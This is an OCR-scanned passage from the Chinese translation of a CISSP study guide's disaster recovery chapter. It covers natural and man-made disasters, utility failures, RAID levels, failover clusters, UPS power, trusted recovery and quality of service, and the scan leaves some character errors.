灾难恢复计划围绕组织正常运营被中断， 为混乱的事件带来正常的工作秩序。 灾难恢复计划理
所当然要在高度紧张和冷静的头脑可能不容易 占优势时得以执行。 对可能发现有必要实施 DRP 措施
的环境进行描述， 如咫风破坏了主运营设施、 火灾烧毁了主运营中心、 恐怖行为阻碍进入城市的主
要区域。 停止、 阻止或中断组织执行其工作任务的任何事件都被视为灾难。 一旦 IT 无法支持关键任
务进程， 就需要通过 DRP 来管理还原和恢复过程。
灾难恢复计划应该被配置为几乎是自 动执行的。 DRP 还应当被设计为在灾难期间尽可能排除决
策活动。 必要的人员应该就灾难发生时他们的责任和任务进行 良好培训11 ， 并且了解他们需要采取的
措施， 从而尽可能快地使组织恢复运营。 我们将从分析可能影响组织的一些灾难开始， 进而对它们
所造成的特殊威胁进行分析。 前面在第 3 章中 已经提到过其中很多威胁， 但是我们将在本章对它们
进行更深入研究 。
534
为了针对自然和非自然灾难进行计划编制， 必须首先理解灾难的各种形式， 下面将详细讨论这
个问题。
1 8. 1 .1 自 然灾难
自 然灾难反映了我们生存环境的狂怒(由于地球表面或大气变化超出人类的控制， 因此会出现强
烈 的变化)。 在某些情况下(如用风)， 科学家己经开发出 了成熟的预报技术， 在灾难发生之前能够提
供充分的警示。 其他某些情况(如地震)则可能会在瞬间带来不可预测的破坏。 灾难恢复计划应当针
对灾难的两种类型提供相应的机制 ， 这两种机制可以是响应力的逐渐形成， 也可以作为对突然出现
的紧急危机的立即响应。
1 . 地震
地震由大陆板块的移动引发， 可能会在全世界的任何地方发生 ， 而且没有预警。 然而它们更有
可能在己知的断层上发生， 这样的断层在世界的很多地方都存在。 SanAndreas 断层就很有名 ， 它给
美国西部的部分地区带来了 相当大的危险。 如果住在地震可能出现的断层附近区域， 那么 DRP 应当
第 1 8 章 灾难恢复计划
说 明在地震导致正常操作中 断时业务将要执行的程序。
你可能会对这样的事实感到惊奇: 全球有一些地区被认为可能会发生地震 。 表 1 8. 1 中列出了美
国联邦紧急事件管理机构σEMA)认为会出现中级、 高级或很高级别地震风险的美国部分地区。 可以
注意到， 表中列出了 50 个州E扣 82%的州(41 个)， 这意味着美国的大部分地区都会出现至少属于中级
的地震事件。
表 1 8.1 美国地震风险等级
中等地震风险 高地震风险 极高地震风险
Alabama American Samoa Alaska
Colorado Arizona California
Connecticut Arkansas Guam
Delaware lllinois Hawaii
Georgia lndiana ldaho
Maine Kentucky Montana
Maryland 扣lissouri Nevada
Massachusetts New Mexico Oregon
Mississippi South Carolina Puerto Rico
New Hampshire Tennessee Virgin lslands
New Jersey Utah Washington
New York Wyoming
North Carolina
Ohio
Oklahoma
Pennsylvania
Rhode lsland
Texas
Vermont
Virginia
West Virginia
2. �:共水
每年在全球的任何地方都可能随时发生洪水灾害。 一些洪水是由于河流、 湖泊和其他水体中的
雨水逐渐增多 ， 然后溢出堤坝淹没乡镇、 村落造成的 。 某个地区的地表在短时间 内无法容纳比雨水
更多的突然发生的大暴雨时 ， 就会出现另一些类型的洪水， 如山洪暴发。 洪水也可能在堤坝受损时
发生。 由地震活动导致的大浪或海啸会形成令人畏惧的洪水般的力量和破坏性， 例如 20 1 1 年 日本大
海啸灾难。 海啸彻底展示 了洪水的破坏力 ， 并且会对各种业务和经济造成影响 。
根据美国政府的统计数据， 在美国每年由于洪水灾害而对商业和家庭造成的危害损失超 出 1 0
亿美元。 对于洪水袭击业务设施的事件 ， DRP 能够做出恰当 的响应计划是非常重要的 。
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CISSP 官方学习指南(第 7 版)
警告 :
为 了 开发业务连续性和灾难恢复计划 而对公司 进行洪7]<..破坏风险的许估时 ， 最好请一些认具 负
责的人进行检查， 并且确信为 了 降低洪水带来的经济影响， 组织 买 了 足够的保险。 在美国 ， 大多 数
常规业务保险合同没有涵盖洪7μ皮坏， 因此应 当对 FEMA 的 国 家洪水灾害保险计划 中 那些获得政府
财政专项支持的洪水 灾害保险进行研究。
尽管理论上洪水灾害可能会在全球各地发生， 但是在某些特定的区域发生的可能性更高。 FEMA
的 国家洪水灾害保险计划负责对全美国的洪水灾害风险进行评估， 为国 民提供地理形式的数据。 可
以从 http://msc.fema.gov/portal 联机查看洪水灾害地图 。
这个站点还提供有关地震、 咫风、 暴风雨、 冰雹和其他自 然灾害的有价值的历史信息， 从而帮
助准备组织的风险评估 。
在查看洪水灾害地图(如图 1 8. 1 所示)时， 你会发现有两种风险常常被定义到地图中， 它们就是
" 百年洪泛区 "和"五百年洪泛区"。 这些评估说明政府预计这些地区至少每 100 年或 500 年出现一
次洪水 。 关于洪水灾害地 图 的 更多详细指导信息， 读者可以查看 www.fema.gov/media/fhmI
firmlot 自rm.h位n。
536
" __ OIII: 曾� •
... sourH ..
图 1 8.1 佛罗里达州迈阿密戴德郡的洪忠 图
3. 暴风雨
暴风雨有很多形式， 并且会对业务带来很多不同的风险。 长期的强降雨会导致山洪暴发的风险，
这在前面的 内容中己经进行过描述。具有严重威胁的咫风和龙卷风的风速都超过了每小时 1 00 英里，
这对建筑物结构的完整性造成了威胁， 并且将普通的物体(如树木、 割草机甚至汽车)变成了致命的
第 1 8 章 灾难恢复计划
飞弹。 冰雹带来了从天而降的破坏性冰块的迅猛袭击。 很多暴风雨还会伴随闪 电， 这可能会对敏感
的 电子设备带来严重的毁坏。 因此， 业务连续性计划应该详细描述防护闪 电危害的恰当机制， 并且
灾难恢复计划应当为可能在闪电袭击中 出现的电力中 断和设备损坏提供足够的防护。 永远都不要低
估暴风雨可能导致的破坏程度 。
2005 年， 有史以来造成损失最大、 最致命和最强的大西洋 5 级咫风 Katrina 横扫美国大陆， 破
坏的范围从阿拉巴马州直至路易斯安那州 ， 几乎毁坏了整个范 围 内所有 自然的和人造的物体。 这次
暴风雨导致的大规模破坏的经济损失估计超过 810 亿美元， 毁坏 了墨西哥海湾沿岸公路的主要设施，
导致商 品 出口困难 ， 更不必说新奥尔 良城近 80%的地区被淹没。
提示 :
如果居住在容易 受到 某种特定类型 的强暴风雨影响的地区， 那么定期查看相关政府机构发布的
天气预报是非常重要的 。 例如， 在甩风出现的季节里， 灾难恢复专家应定期查看美 国 国 家气象服务
预报中 心的站点(www.nllc.noaa.gov)。 这个站点使你能够在本地新闻播报前监视可在本地造成危害的
大西 洋和太平 洋风暴， 从而 能够在 灾难到 来之前开始对暴风雨逐步做出 响应 。
4 火灾
火灾的发生可能会有很多原因 ， 既可能是人为的 ， 又可能是自 然的 ， 但是这两种形式的火灾所
带来的危害是相等的 。 在 BCP 和 DRP 处理过程中 ， 应当评估火灾带来的风险， 并且采取最基本的
措施来缓解这些风险 ， 在 关键性设施发生灾难性火灾后恢复业务。
世界上的一些地区在温暖的季节容易发生燎原大火。 这些火灾一旦发生， 根据可预测的一些蔓
延模式， 火灾专家会同气象学家一起对 大火的可能蔓延路径进行相对准确 的预报。
提示 :
与 其他很多 类型 的大型 自 然 灾难一样， 可以从网上获得与即将出 现的威胁相关的有价值信息。
在美 国 ， 国 家机构火灾中 心在其网 站 ht甲:llwww.nifc.gov/fu它Info/fireInfo_maps.html 上显示每天的火
灾史新信息和预报信息。 其他的 国 家也有类似的警报系统。
5. 其他的地区性事件
世界上某些地区具有地区性的 自 然灾难。 在 BCP/DRP 处理过程中， 评估团队应当分析组织的
所有运营地区 ， 并且估计这些类型的事件可能会对 业务造成的影响。 例如， 世界上的很多地区都会
出现火山爆发。 如果在靠近活火山或休眠火山 的地区进行业务的运营， 那么 DRP 或许就应当说明这
种可能性。 其他的地区性灾难事件包括亚洲的季风、 南太平洋的海啸 、 高山地区的雪崩和美国西部
的泥石流。
如果业务分布在不同的地区， 那么就应当明智地在策划团 队中包括地区政府。 最起码， 采用像
政府紧急事件预备队、 城市防御组织和保险索赔办公室这样的当地资源有助于指导工作。 这些组织
拥有大量的知识， 通常更愿意帮助组织对意外事件进行准备。 毕竟， 每个成功经受住 自 然灾害的企
业都是灾害发生后较少需要恢复资源的企业。
537
CISSP 官方学习指南(第 7 版)
1 8. 1 .2 人为灾难
人类几个世纪以来所建立的先进文明变得越来越依靠技术、 逻辑和 自然系统之间复杂的相互作
用 。 形成的成熟社会的复杂交流还可能造成很多潜在的、 有意和无意人为灾难的脆弱性。 在这一节'
中 ， 我们将研究几个较为常见的灾难， 从而帮助你在准备业务连续性计划和灾难恢复计划时对企业
的脆弱性进行分析。
1 火灾
在本章前面部分， 我们探讨了由于自然原因造成的燎原大火带来的危害。 很多较小的火灾是由
于人为原因造成的， 例如粗心、 错误的 电线连接、 不正确的防火措施或其他一些原因 。 来 自保险信
息、协会的研究显示， 每天在美国至少有 1 000 幢建筑物发生火灾。如果其中一处火灾袭击了 你的企业，
那么你会有足够的预防措施快速遏制火灾吗? 如果火灾破坏了你的 设施， 那么你的灾难恢复计划多
快才能使企业在其他地方恢复经营 ?
2. 恐怖行为
自 200 1 年 9 月 II 日的恐怖袭击发生以来， 业务活动对恐怖威胁带来的风险越来越关注。 由于
缺乏足够的确保企业持续生存的业务连续性计划/灾难恢复计划， 9 ' 1 1 恐怖袭击使得很多小型企业
最终关门 。 很多较大的企业都经历过由长期破坏导致的极大损失。 保险信息协会在恐怖袭击发生后
一年发布了 一份研究报告， 这份报告对纽约市 由于恐怖袭击造成的全部破坏进行了评估， 破坏的损
失高达 400 亿美元 ! (是的 ， 那只是开始 ! )
538
警告 :
组织可能无法选用适 当 的普通保险业务来应对恐怖行为造成的损失。 在 2001 年9. 1 1 恐怖袭击
以前， 大多 数保羊要么 包括恐怖行为 ， 要么 没有 明显地提及恐怖行为 。 在遭受惨痛 的损失之后 ， 许
多 保险公司 很快做出 相应的修改方案， 从而不再 包括恐怖活动造成的损失。 保羊附加条款有时列 出 ，
但常常具有极高的保费成本。 如果业务连续性或 灾难恢复计划 包括保险并将之作为经济手问尝的一种
手段(因 为可能应该这样做)， 那么应 当 会被劝告查看保险合同并联系 专属客服， 以确保你始终包括
在保险范 围 内 。
恐怖行为由于不可预测性， 为 DRP 团队带来了特殊的挑战。 在 200 1 年9' 1 1 恐怖袭击以前，
很少有 DRP 团队认为飞机撞击总部的威胁大到值得去缓解的程度。 现在很多公司正在 自 问很多新的
关于恐怖行为的 "如果…会怎样" 的 问题。 通常， 这些类型的问题在促进业务成员之间提出有关潜
在威胁的对话方面是有益的。 相反， 灾难恢复计划的策划者必须强调稳健的风险管理原则， 并且确
保没有针对恐怖威胁过度分配资源， 以免对那些为防护更可能发生的威胁而进行的 DRPIBCP 行为
造成影响 。
3 爆炸/煤气泄漏
煤气泄漏可能来 自 很多人为因素。 煤气泄漏可能使得房间里/建筑物里充满爆炸性的气体， 随后
被点燃引 发破坏性的爆炸。 在很多 区域发生的爆炸还会引 发担忧。 从灾难计划的观点 出发， 爆炸和
煤气泄漏与那些大型火灾引 发的灾害有着相似的结果。 然而， 计划避免爆炸的影响更为困难， 并且
第 1 8 章 灾难恢复计划
依赖于物理安全措施 ， 如第 1 0 章 " 物理安全需求" 中 讨论的那些措施 。
4. 电力中断
即使最基本的灾难恢复计划也包括了对短时间 电力中断威胁的应对方法。 关键业务系统常常由
不间断电源设备(UPS)进行保护， 这些电源使你至少有足够长的时间关闭系统或启动并运转应急发电
机 。 然而 ， 企业是否具有应对长时间 电力中 断的能力呢?
在 2005 年 Katrina 咫风登陆美国 本土之后 ， 据报道， 密西西 比州 、 路易斯安那州和阿拉巴马州
有 240 万人遭遇停电。 业务连续性计划能够在这样长时间没有电力的情况下保持业务连续进行吗 ?
即 使在商业输 电网仍然无法运行时， 灾难恢复计划也具有及时恢复 电力 的充分准备吗?
警告 :
定期检查 UPS ! 这些关键设备常常直到 它们必须使用 时才被重视ω 很多 UPS 包括 自 动报告问题
的 自 圳机制 ， 但是对其定期进行测试仍是不错的措施。 此外， 要确保审计每个 UPS 中 插入的设备数
量/类型 。 很多 人认为 向 UPS "多 增加一个系统" 没有问题， 这简直太让人惊讶了 。 如果设备在电
力 中 断期 间 无法处理负载， 就不应该感到惊讶!
当今的技术型组织对 电力的依赖程度越来越高， BCPIDRP 团 队应当考虑备用 电源， 从而能够在
不确定的时间段内为业务系统的运行提供电力 。 一台足够胜任的备用 电机可能就意味着在生死攸关
的 时刻对业务的持续运营产生很大的影响 。
1 8. 才 .3 其他公共设施和基础设施故障
当计划编制者考虑公共设施停止运转可能对企业造成的影响时， 他们 自然首先会想到电力中断
造成的影响 。 但是， 还应该考虑其他的公共设施。 是否有依赖于水、 污水管、 天然气或其他公共设
施的关键业务系统呢 ? 当然还要考虑地区性的基础设施， 如公路、 机场或铁路。 这些系统中 的任何
一个都可能出现故障， 而这些故障与本章 中提到的天气或其他条件并不相关。 很多业务依赖于这些
基础设施中 的一个或多个来调动人员或搬移物品 。 故障可能会使你的业务持续运行能力瘫痪 。
注意 :
在被询 问是否具有依赖于水、 污水管 、 天然气或其他公共设施的关键业务系统时， 如果很快回
答没有， 那 么 就需要再仔细考虑一下 。 考虑过关键业务系统 中 的人吗? 如果一场 大暴风雪破坏 了
设施和保持这些设施运行所需要的供水， 那么能够 为 员 工提供足够的饮用 水以 满足他们 的生理需
求吗?
你的防火系统怎 么样? 如果它们都需要用 水， 那 么在公共供水系统出现故障时 ， 是否有提供充
足水源 的储水系统能够扑灭严重的建筑物大火呢? 在经受暴风雪、 地震和其他可能中 断水力传输的
自 然 灾害破坏的地区 ， 火 灾常常会造成严 重 的破坏。
1 . 硬件/软件故障
不管喜欢不喜欢， 计算机系统都会出现故障。 硬件组件可能受到磨损且无法继续运行或受到物
理损坏。 软件系统含有 bug， 或者被给予不正确/意想不到的操作指令。 因此， BCPIDRP 团队必须在
系统中提供足够的冗余度。 如果强制要求零者机时间 ， 那么最好的解决方案是在具有不同通信链路
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CISSP 官方学 习指南(第 7 版)
和基础设施的不同地方使用全冗余故障恢复服务器。 如果一台服务器被破坏或损坏， 那么另一台将
立即接管正在处理的负载。 更 多 的相关信息 ， 读者可 以参见本章稍后的 " 远程镜像 " 部分。
由于财务上的限制， 维持全冗余系统并非总能实现。 在这些情况下 ， BCPIDRP 团 队应该说明如
何很快获得和安装被替换的部分。 在本地零件库中应该保存尽可能多的零件以备进行快速替换， 这
对于很难找到而必须进口 的零件来说尤为重要。 毕竟， 在关键 PBX 组件从国外进 口并在现场安装的
那些天里， 能有多少企业可 以在三天 内 不接听 电话呢 ?
@ 真实场景
纽约大停电
2003年8月 14 日 ， 由于一系 列 连锁故障 引 发主要电 网瘫痪 ， 纽约以及美国东北部和中西部的
大部分地区遭遇了 大停电 。
幸运的是， 纽约地区 的安全专 家早 已有所防备。 经历 2001 年9. 1 1 恐怖袭击后 ， 许多 业务都更
新 了 灾难恢复计划 ， 并且禾取措施确保在出现其他灾难时仍然能够持续运营。 这次大停电提供了 一
次测试机会， 许多 业务都能够通过采用备用 电源或将控制无缝转向外部数据处理中 心来实王财夺续运
540
恙口 。
全世界的 BCP/DRP 团 队能够从纽约 大停电得到 下列教训11 :
• 确保作为替代的处理场所位于与主场所足够远的地方 ， 从而不容易受到相 同 灾难的影响。
• 需要记住的是， 组织会面对来 自 内部和外部的威胁。 下一个灾难可能来 自 恐怖袭击、 建筑
物火灾或者在网络上 自 由运行的恶意代码。 采取某些措施， 确保作为替代的场所与主设施
隔离， 从而防护上述所有威胁。
• 灾难往往不会伴随着预先警告。 如果实 时操作对于组织来说是关键的 ， 那 么 必须确认备份
场所已经做好准备， 一接到通知 ， 就 能接替主要状态 。
2 罢工/示威抗议
在设计业务连续性计划和灾难恢复计划时， 不要忘记在紧急事件计划中指出人为因素的重要性。
经常被忽视的一种人为灾难形式可能是罢工或其他劳工危机。 如果大部分员工在同一时间罢工， 那
么将会对业务产生什么影响? 能承受在某个区域没有固定的专职员工工作的时间有多长? BCP 和
DRP 团 队应该解决这些 问题， 从而提供在劳工危机出现时的备选计划 。
3. 盗窃/故意破坏
在前面的内容中 ， 我们看到了恐怖行为给组织带来的威胁。 偷窃、 故意破坏与恐怖行为具有相
同点， 只 是规模小得多 。 但是， 在大多数情况下， 组织有更大的可能性会受到偷窃或故意破坏的影
响 ， 而不仅仅是恐怖袭击的影响。 保险为这些事件提供了一些经济保护(受限于免责和限制条款)，
但是这些行为可能会长期和短期对业务带来严重破坏。 业务连续性计划和灾难恢复计划应当包括充
分的预防性措施， 以便控制这些事件的发生频率， 此外还应当包括紧急事件计划来减轻偷窃和故意
破坏对正在进行的工作 的影响 。
第 18 章 灾难恢复计划
注意 :
盗窃基础设施的情况变得越来越非是， 因为小偷的 目 标是空调 系统、 管道工程和电源子系统中
的铜全属. 认为 固 定基础设施不会被盗的想法是错误的。
@ 真实场景
安全性面临的外部挑战
偷窃和故意破坏的持续威胁是全世界范围 内信息安全专 家的克星。 针对个人身份信息σII)、 专
业或商业秘密以及其他形式的机密数据， 直接竞争者或其他未授权方与 这些信息的创建者和所有者
具有相 同 的兴趣。
作为一家著名 的 、 引 人注 目 的计算机公司 的安全人员 ， Aaron 了 解相关工作的第一手资料。 他
的主要职责是保证敏感信息不被泄露给各类人员 和实体。 Bethany 是一名 非常令人头疼的员工 ， 这
是 因 为她经常在没有正确保护 内 容安全的情况下将笔记本 电脑带出 工作场所。
即使偶然的破窗盗窃企图也会使数千客户 的联系 方式及其机密的业务交易存在泄露的风险， 而
且这些信息可能会被出 卖给恶意方。 Aaron 知道这些潜在的风险， 但是 Bethany似乎对此漠不关心。
这就引发了 一个问题: 如何更妥善地通知、 培训队建议 Bethany， 从而使 Aaron 不会由 于笔记
本电脑被盗而手M丰l呀?职务? Bethany 必须理解和意识到保证敏感信息安全的重要性。 我们有必要强
调这样的事实: 潜在的损失和泄漏会导致敏感数据被泄漏给坏人、 竞争者或其他未才是权的第二方。
员 工手册清楚地规定了 其行为导致未授权泄漏或信息资产损失的 员 工会被扣工资或解雇，向Bethany
指 出 这一点可能 已经足够。 如果在警告之后仍然 出 现这样的行为 ， 那 么 Bethany 应 当 受到指责， 并
且在未被立 即解雇的情况下为其重新分配不会泄漏敏感或专有信息的 岗 位。
注意 :
在计划零件库存时 ， 应 当 考虑盗窃对企业的影响。 对具有 高被窃率的物品(如内存和笔记本电脑)
保持额外的库存是明智的。 同 样， 在安全的位直存放零件并且要求员 工在使用 这些零件时签名 ， 也
是不错的主意。
1 8.2 理解系统恢复和容错能力
作为 ClA 安全三要素(机密性、 完整性和可用性)的核心 目 标之一 ， 增加系统应变能力和容错能
力 的技术控制会直接影响到可用性。 系 统恢复和容错能力 的主要 目 标是消除单点故障。
单点故障可以发生在任何组件上， 能够导致整个系统崩愤。 如果计算机的单一磁盘上含有数据，
那么该磁盘发生故障就会导致计算机崩溃， 所以磁盘是故障发生的单点。 如果基于数据库的网站有
多 台 Web 服务器， 而这些服务器又是 由单一数据库服务器支持的 ， 那么该数据库服务器就是故障发
生 的单点 。
容错能力是指系统在发生故障的情况下仍然继续运行的能力。 容错能力是通过添加冗余组件实
现的， 如廉价冗余磁盘阵列(RAID)中 的额外磁盘或故障转移群集配置中 的额外服务器。
系统恢复能力指的是系统在发生不利事件时保持可接受的服务水平的能力。 这可能是容错组件
管理的硬件错误， 也可能是其他控制管理的攻击， 如有效的入侵检测和防御系统。 在某些情况下，
541
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CISSP 官方学 习指南(第 7 版)
指的是在发生不利事件后系统还原的能力 。 例如， 如果故障转移群集中 的一台主服务器崩溃， 容错
能力能够使得系统故障转移到另外的服务器上， 而系统恢复能力能够保障在原系统修复后， 该集群
能够返回 原服务器 。
1 8.2.1 保护硬盘驱动器
在计算机中添加容错和系统恢复组件的常见方法是增加冗余磁盘阵列(RAID)。 冗余磁盘阵列包
括两个或两个以上的磁盘， 即使其中一个磁盘损坏 ， 大多数的 孔气D 配置也都能够继续运行。 一些
常见配置如下 :
RAID-O 也被称为条带。 它使用两个或两个以上的磁盘， 并提高了 磁盘子系统的性能， 但不提
供容错能力。
RAID-1 也被称为镜像。 它使用两个磁盘， 并含有相同 的数据信息 。 如果一个磁盘损坏， 另 一
个磁盘仍含有数据， 这样在单一磁盘损坏后， 系统仍能继续运行。 系统可能会在不干扰的情况下继
续运行或需要手动配置 以使用没有损坏的磁盘 ， 这取决于使用 的硬件 以及损坏的驱动器。
RAID-5 也叫作奇偶校验。 它使用三个或更多个磁盘 ， 相当于一个磁盘， 其中包含奇偶校验信
息 。 如果单一磁盘损坏 ， 磁盘阵列将继续运行 ， 但速度会变慢。
RAID-1 0 也被称为 RAID 1+0 或条带镜像， 是在条带但AID-O)配置上再配置两个或两个以上
的镜像(RAID-l )。 它使用至少 4 个磁盘， 但可以支持更多个磁盘， 磁盘可添加数应为偶数。 即使多
个磁盘损坏， 只要在每个镜像中至少有一个驱动器继续运行 ， 它就能继续运行。 例如， 如果有三个
镜像集(称为 Ml 、 M2、 M3)， 则共有 6 个磁盘。 如果 Ml、 M2、 M3 中 分别有一个驱动器损坏了 ，
该阵列将继续运行。 然而， 如果在任何镜像集中两个驱动器都损坏了 ， 如 M 1 的两个驱动器， 整个
阵列将无法继续运行。
注意 :
容错同备份不同 。 有时， 管理者可能会因为备份磁带的价格问题转而考虑用 RAID进行都分。
然而， 如果发生 了 灾难性的硬件故障 ， 并破坏了 一个磁盘阵列 ， 除非数据有备份， 否则其中 的数据
将会全部丢失。 同样， 如果没有备份， 意外使得数据发生损坏， 也不 能恢复。
RAID 可基于软件， 也可基于硬件。 基于软件的系统需要操作系统来管理阵列中 的磁盘， 而且
这会降低系统的整体性能。 它们相对便直， 因为不需要除额外磁盘以外的任何其他硬件。 基于硬件
的磁盘阵列系统通常更有效、 更可靠。 虽然基于硬件的磁盘阵列更昂贵， 但当使用这种阵列 以增加
其个关键组件的可用 性时 ， 益处大于成本。
基于硬件的磁盘阵列通常含有可以在逻辑上添加到磁盘阵列中的备用驱动器。 例如， 基于硬件
的 RAID-5 可能含有 5 个磁盘， 在 RAID-5 阵列中有 3 个磁盘， 另外还有两个备用磁盘。 如果一个
磁盘损坏， 硬件检测出了故障， 便能够在逻辑上将发生故障的磁盘替换为备用磁盘。 此外， 大多数
基于硬件的阵列支持热交换， 使得技术人员在不给系统断电的情况下能够更换损坏的磁盘。 冷交换
的 RAID 要求系统关机后才能更换损坏的驱动器。
1 8.2.2 保护服务器
可 以通过故障转移集群将容错功能添加到关键服务器中 。 故障转移集群含有两个或两个以上的
第 18章 灾难恢复计划
服务器， 如果其中一台服务器出现故障， 集群中 的其他服务器可以通过称为故障转移的 自动化过程
接管其负载。 故障转移集群可以含有多 台服务器(不只是两台)， 它们还可以为多个服务或应用程序，
提供容错功能 。
作为故障转移集群的一个例子， 如图 1 8.2 所示 。 图 中多个组件组合在一起 ， 为使用数据库的大
量网站访问提供了可靠的 Web 访问方式。 DBl 和 DB2 是配置在故障转移集群中 的两台数据库服务
器。 在任何给定的时间 内 ， 只有一台服务器将作为活动数据库服务器， 而另一台服务器将处于不活
动状态。 例如， 如果 DBl 是活动服务器， 它将执行网站所有的数据库服务。 DB2 监视 DBl 以确保
其正常运行。 如果 DB2 检测到 DBl 损坏， 集群中 的故障将 自 动转移到 DB2 。
互联网
访问
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DB1 网络负载均衡
Web 1
数据库服务器使
用 的数据库
如 图 1 8.2 所示， DBl 和 DB2 都能防 问数据库中 的数据。 这些数据存储在 RAID 磁盘阵列上，
这为磁盘提供 了 容错能力 。
此外， 三台 Web 服务器被配置在网络负载均衡集群中。 负载均衡器可以基于软件， 也可基于硬
件， 它平衡了三台服务器上的客户端负载。 可 以添加额外的 Web 服务器来处理增加的负载， 同时也
平衡所有服务器之间 的负载。 如果服务器发生故障， 负载均衡器可以感知故障并停止向服务器发送
数据 。 虽然网络负载均衡主要用来增加系统的可扩展性， 使它可以处理更多的数据， 但也提供了 容
错功能。
注意 :
故障转移集群不是服务器容错的唯一方法。 一些 系 统为服务器提供 了 自 动容错功能， 允许服务
器发生故障而不失去继续提供服务的能力。 例如， 在具有两个或两个以上的域控制器的微软域中 ，
每个域控制器将定期与其他域控制器复制数据， 以使所有的域控制器都具有相同 的数据。 如果一个
域控制器产生故障， 域内 的计算机仍 然可以找到 另 一个(多 个)域控制器且网络可以继续运行。 同样，
许多 数据库服务器含有复制其他服务器数据的方法， 以使所有的服务器都具有相同的内容。 其中三
种方法是电子传送、 远程 日 志记录和远程镜像， 它 们将在本章稍后讨论。
1 8.2.3 保护电源
可 以为不间断供电电源(UPS)、 发电机或它们两者提供容错能力。 一般情况下 ， 不间断供电电源
提供 5到30 分钟的短时间供电， 而发电机提供长期电力。 使用 UPS 的 目 的是为完成系统的逻辑性
关 闭提供足够 的时间， 或在发电机发 电提供稳定 电源之前维持 电力供应。
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CISSP 官方学 习指南(第 7 版)
理想情况下， 电力是稳定的 、 无波动的 。 但在现实中， 商业供电面临各种各样的问题。 激增指
的是电压快速增高， 而下滑指的是电压突然快速降低。 如果电力长时间维持在高压状态， 则被称为
电涌而不是激增。 如果长时间处于低压状态， 则被称为电力不足。 偶尔， 电源线会有噪音， 这种情
况被称为瞬变 ， 瞬变有许多种来源 。 所有这些 问 题都可能会导致 电力设备故障。
最基本的不间断电源(也被称为离线或备用 电源)提供电涌保护和电池备份。 它被插入到商业电
源中， 比较关键的系统会被插入到 UPS 系统中 。 如果电源发生故障， 备用 电池会为系统短时间供电。
在线互动式的不间断电源越来越受欢迎， 除 了基本功能外， 它们还增加了 其他功能。 它们含有可变
电压互感器， 能够在不使用 电池电量的情况下对高低电压做出调整。 在断电时， 电池能为系统短时
间供电。
发 电机能够在长时间断电期间为系统供电。 发电机供电时间 的长短取决于燃料， 只要发电机有
燃料， 就能依靠发 电机获得稳定 电力。 发 电机一般使用柴油 、 天然气或丙皖作为燃料。
1 8.2.4 受信恢复
受信恢复保证系统在发生故障或崩溃之后 ， 能够还原到之前的状态 。 根据故障的类型 ， 还原可
以分为 自动还原和管理员手动干预还原。 然后， 不论哪种还原方式， 系统应该被预置， 以确保还原
的安全性 。
系统可以被预置， 在损坏时能够处于故障防护状态或应急开放状态。 处于故障防护状态的系统
会在故障发生时 保持在防护状态， 并禁止所有访问 。 应急开放的系统会在发生故障前保持在开放状
态 ， 并授权所有访 问 。 对二者的选择取决于在系统故障之后安全性和可用性的重要程度。
544
例如， 防火墙通过控制网络的访问和拒绝来维持安全性。 防火墙配置了 隐式否认体系， 只允许
规定中 明确指出可以进入的流量信息进入。 防火墙通常被设计为故障防护状态， 支持隐式否认体系。
如果防火墙发生故障， 所有的流量都会被禁止。 虽然这消除了防火墙通信的可用性， 但很安全。 相
比之下 ， 如果通信的可用性比安全性更重要的话， 防火墙可以被配置为应急开放状态， 允许所有的
流量通过， 这是不安全的， 但 网络通信不会被禁止。
注意 :
在具有电子硬件锁的物理安全体系 中 ， 使用 术语 "故障防护状态" 和 "应急开放状态"。 具体而
言 ， 应急开放状态的 电子锁在断电时就会解锁， 而故障防护状态的 电子锁在断电时会保持锁定状态。
例如， 紧急出 口 的 门将被设直为应急开放状态， 以便在火灾或其他紧急情况下， 人员 不会被锁在 内
部 。 这种情况下 ， 如果发生事故， 主要考虑的是人员 能安全离 开。 相反， 银行的金库会被设直为故
障防护状态， 以便于在断电时， 门 能保持锁定状态。 因 为在这种情况下 ， 主要考虑的是安全金库门
不被打开。
恢复过程的两个要素能够确保可信解决方案的实施。 第一个要素是失败准备。 除 了可靠的备份
解决方案之外， 还包括系统恢复及容错方法。 第二个要素是系统恢复的过程。 系统必须重新启动到
单用户 、 非特权状态。 这意味着系统应该重新启动 ， 以达到正常账户能够登录系统且系统不在授权
非授权用户 登录的状态。 系统恢复还包括在发生故障或崩溃时， 恢复在系统中使用 的所有受影响的
文件和服务。 恢复所有丢失或受损文件， 更正所有变更分类标签， 检查所有重要的安全文件的设置。
常见标准(在第 8 章 " 安全模型的原则、 设计和功能" 中有所介绍)中有一节是对受信恢复的叙
述 。 恢复过程与系 统恢复能力及容错能力相关。 具体而言， 定义了 4 种类型的受信恢复:
第 1 8 章 灾难恢复计划
手动式恢复 如果系统崩溃， 系统并没有处于故障防护状态 。 相反的是， 在系统故障或崩溃后，
管理员 需要手动执行必要措施 以 实现系统恢复。
自动式恢复 对于至少一种类型的系统故障， 系统能够 自 动执行受信恢复。 例如， RAID 硬盘
能够恢复硬盘驱动器故障， 但是不能恢复整个服务器故障。 一些类型的 故障需要手动恢复 。
无过度损失的自动式恢复 这类似于 自 动式恢复， 对于至少一种类型的系统故障， 系统能够自
动执行恢复过程。 然而， 其中包括一些能够保护特定对象免受损失的机制。 无过度损失的 自动式恢
复的方法包括对数据及其他对象的恢复。 可能含有其他机制 ， 以恢复受损文件、 重建 日 志数据和验
证密钥系统和安全组件的完整性。
功能恢复 支持功能恢复的系统能够 自动恢复某些特定功能。 这种状态能够确保系统成功地完
成功能恢复， 否则系统将会回到变更前的故障防护状态。
1 8.2.5 服务质量
服务质量(Qos)控制能够保护负载下的数据网络的完整性。 许多不同的因素有助于提升最终用户
体验的质量， 服务质量对这些要素进行管理 ， 以创造能够满足商业需求的环境。
有助于服务质量提升的一些因素如下:
宽 带 可供通信的 网络容量。
延迟时间 数据包从源到 目 的地所需 的时间。
抖动 不同数据包之间 的延迟变化。
数据包丢失 一些数据包可能会在源和 目 的地之间传送的 过程中丢失 ， 需要重传 。
干扰 电噪声、 故障设备等因素可能会损坏数据包的内容。
除了控制这些因素之外， 服务质量系统往往优先考虑某些业务类型， 其中包括对干扰容忍度较
小和/或有高业务需求的业务类型。 例如， QoS 设备可能会被编程， 行政会议室的视频流会优先于实
习生电脑 的视频流。
1 8.3 恢复策略
当灾难中断公司业务时， 灾难恢复计划应该能够几乎全自 动起到作用并开始为恢复操作提供支
持。 灾难恢复计划应该以下面这种方式进行设计， 即使正式的 DRP 团 队成员还未到达现场 ， 灾难现
场的第一位员工能够 以有组织的方式立刻开始恢复工作。 接下来， 我们将讨论精心设计有效的灾难
